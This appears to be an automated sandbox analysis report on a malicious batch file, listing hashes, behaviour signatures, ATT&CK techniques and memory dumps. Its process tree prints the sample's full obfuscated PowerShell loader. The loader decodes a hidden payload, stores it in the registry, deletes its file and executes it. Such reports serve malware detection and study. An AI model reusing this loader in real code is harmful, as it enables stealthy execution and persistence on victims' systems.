e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/03/2025, 15:37

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General

Target

georgefloyd.bat
Size

4.3MB
MD5

c827b11ddab8f04af88ad75cf10ce5c3
SHA1

8ccd314ee72a96772cc6040e9c626332a18ff2d0
SHA256

e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5
SHA512

73bbdfe7555c49893674339b967f6515471ae83043d9c5ca9772828f0877c2827cace3c24bae99da393864e35dc91268ab7fc5a969fb65cb10a3da23dceb6f32
SSDEEP

49152:k1bO8QYsqdzJPWeAir2ajAFZqklU2Cb7zGhaPCuDaWBm8HYrFDDSM+qkTKZHdIMw:w

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
808	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	808	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 808	2440	cmd.exe	29
PID 2440 wrote to memory of 808	2440	cmd.exe	29
PID 2440 wrote to memory of 808	2440	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\georgefloyd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:tMHryVWCxy;$path = $path.Trim();try {$_1 = Get-Content -Path $path.Substring(1, $path.Length - 2) -ErrorAction Stop;} catch {$_1 = Get-Content -Path $path}$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name '$phantom-frZZfx' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/808-4-0x000007FEF5FFE000-0x000007FEF5FFF000-memory.dmp

Filesize
4KB

Download
memory/808-5-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/808-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/808-7-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/808-8-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/808-9-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/808-10-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/808-11-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download